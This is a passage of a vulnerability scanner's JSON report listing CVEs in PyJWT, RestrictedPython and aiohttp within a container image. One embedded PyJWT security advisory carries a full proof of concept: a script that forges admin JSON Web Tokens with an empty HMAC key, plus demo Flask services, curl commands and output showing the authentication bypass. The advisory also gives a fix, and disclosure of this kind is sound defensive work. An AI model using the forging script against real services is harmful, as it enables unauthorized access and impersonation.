tokens. This issue is fixed in version 2.14.0.", "Severity": "HIGH", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 4, "photon": 3, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102271", "https://advisory.echohq.com/cve/CVE-2026-102271", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773", "https://linux.oracle.com/cve/CVE-2026-102271.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102271", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102271" ], "PublishedDate": "2026-09-28T21:17:15.11Z", "LastModifiedDate": "2026-10-06T18:36:16.047Z" }, { "VulnerabilityID": "CVE-2026-48526", "VendorIDs": [ "GHSA-xgmm-8j9v-c9wx" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.13.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48526", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1ca0d5060709c8167fd76d69b85d01c75a80195d0721eb66491e1888d1ef941b", "Title": "python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens", "Description": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.", "Severity": "HIGH", "CweIDs": [ "CWE-287", "CWE-347" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25902", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26206", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:35835", "https://access.redhat.com/errata/RHSA-2026:35836", "https://access.redhat.com/errata/RHSA-2026:35837", "https://access.redhat.com/errata/RHSA-2026:35845", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:40967", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:48085", "https://access.redhat.com/errata/RHSA-2026:50222", "https://access.redhat.com/errata/RHSA-2026:50223", "https://access.redhat.com/errata/RHSA-2026:50263", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50340", "https://access.redhat.com/errata/RHSA-2026:50904", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/security/cve/CVE-2026-48526", "https://advisory.echohq.com/cve/CVE-2026-48526", "https://bugzilla.redhat.com/2482734", "https://bugzilla.redhat.com/show_bug.cgi?id=2482734", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48526", "https://errata.almalinux.org/9/ALSA-2026-26206.html", "https://errata.rockylinux.org/RLSA-2026:26206", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx", "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml", "https://linux.oracle.com/cve/CVE-2026-48526.html", "https://linux.oracle.com/errata/ELSA-2026-26206.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-48526", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json", "https://ubuntu.com/security/notices/USN-8823-1", "https://www.cve.org/CVERecord?id=CVE-2026-48526" ], "PublishedDate": "2026-05-28T16:16:29.657Z", "LastModifiedDate": "2026-10-26T13:10:00.14Z" }, { "VulnerabilityID": "GHSA-pxh4-856f-4h89", "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.14/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "d40f4444c982700a" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-pxh4-856f-4h89", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8f3f42652ea04a3294ca95cdf187b7d257b706e979d8d1269a37774f8172c779", "Title": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", "Description": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -\u003e k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-pxh4-856f-4h89", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" ], "PublishedDate": "2026-10-22T15:48:04Z", "LastModifiedDate": "2026-10-22T15:48:04Z" }, { "VulnerabilityID": "CVE-2026-55830", "VendorIDs": [ "GHSA-ffg3-p8fm-mjx2" ], "PkgName": "RestrictedPython", "PkgPath": "usr/local/lib/python3.14/site-packages/restrictedpython-8.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/restrictedpython@8.1", "UID": "ca395266d100e0a1" }, "InstalledVersion": "8.1", "FixedVersion": "8.3", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55830", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:96b24300144ac5d9d8df2421270de2ba35645f9bb1cb7e87e06f5bae4b1b5ed6", "Title": "RestrictedPython is a tool that helps to define a subset of the Python ...", "Description": "RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.", "Severity": "HIGH", "CweIDs": [ "CWE-184" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L", "V3Score": 8.3 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-55830", "https://github.com/zopefoundation/RestrictedPython", "https://github.com/zopefoundation/RestrictedPython/commit/3737596ec9f28c34a073cc845bd2f4c0a80cb671", "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-ffg3-p8fm-mjx2", "https://nvd.nist.gov/vuln/detail/CVE-2026-55830" ], "PublishedDate": "2026-07-08T22:17:15.653Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-76825", "VendorIDs": [ "GHSA-hp3v-5vw7-fx9w" ], "PkgName": "RestrictedPython", "PkgPath": "usr/local/lib/python3.14/site-packages/restrictedpython-8.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/restrictedpython@8.1", "UID": "ca395266d100e0a1" }, "InstalledVersion": "8.1", "FixedVersion": "8.4", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76825", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f07a4a3cd67c53d271f461aef97c66ef4ad81fd3acc9d47da1639051e43cc1de", "Title": "RestrictedPython is a tool that helps define a subset of the Python la ...", "Description": "RestrictedPython is a tool that helps define a subset of the Python language for accepting program input in a trusted environment. Prior to 8.4, RestrictedPython could allow a sandbox escape when a custom import policy or globals exposed the standard library string module, the string.Formatter class, a Formatter instance, or a Formatter subclass to restricted code. The string.Formatter methods format, get_field, get_value, and vformat performed attribute and item traversal internally without passing through RestrictedPython's safer_getattr protections. Restricted code could use those live object references to reach function globals, builtins, file access, or code execution primitives, affecting confidentiality, integrity, and availability in the host environment. This issue is fixed in version 8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-200", "CWE-470", "CWE-680", "CWE-693" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.5 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-76825", "https://github.com/zopefoundation/RestrictedPython", "https://github.com/zopefoundation/RestrictedPython/commit/3b47440070b91f8807c2b2998aca99e94783639a", "https://github.com/zopefoundation/RestrictedPython/releases/tag/8.4", "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-hp3v-5vw7-fx9w", "https://nvd.nist.gov/vuln/detail/CVE-2026-76825" ], "PublishedDate": "2026-09-16T15:17:46Z", "LastModifiedDate": "2026-09-16T19:17:34.72Z" }, { "VulnerabilityID": "CVE-2026-111064", "VendorIDs": [ "GHSA-5wr8-gcqf-gqf3" ], "PkgName": "aiohttp", "PkgPath": "usr/local/lib/python3.14/site-packages/aiohttp-3.14.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.14.1", "UID": "f9c6ae69ac7e3be6" }, "InstalledVersion": "3.14.1", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111064", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4fea9fa26c0e1720f781f01ea7864ef1245feacdddc4b5322152a565dad96343", "Title": "aiohttp: aiohttp: Denial of Service via missing initial request timeout", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-111064", "https://advisory.echohq.com/cve/CVE-2026-111064", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3", "https://linux.oracle.com/cve/CVE-2026-111064.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111064", "https://www.cve.org/CVERecord?id=CVE-2026-111064" ], "PublishedDate": "2026-10-19T17:17:03.377Z", "LastModifiedDate": "2026-10-28T16:17:01.09Z" }, { "VulnerabilityID": "CVE-2026-111066", "VendorIDs": [ "GHSA-9xw5-w5jj-pvcg" ], "PkgName": "aiohttp", "PkgPath": "usr/local/lib/python3.14/site-packages/aiohttp-3.14.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.14.1", "UID": "f9c6ae69ac7e3be6" }, "InstalledVersion": "3.14.1", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111066", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2316a625b3778bfe5d0a1bc8b5515a7941f24e9f2d0f42cac9c48a82db4c1635", "Title": "aiohttp: aiohttp: Denial of Service via file descriptor exhaustion in multipart request processing", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses 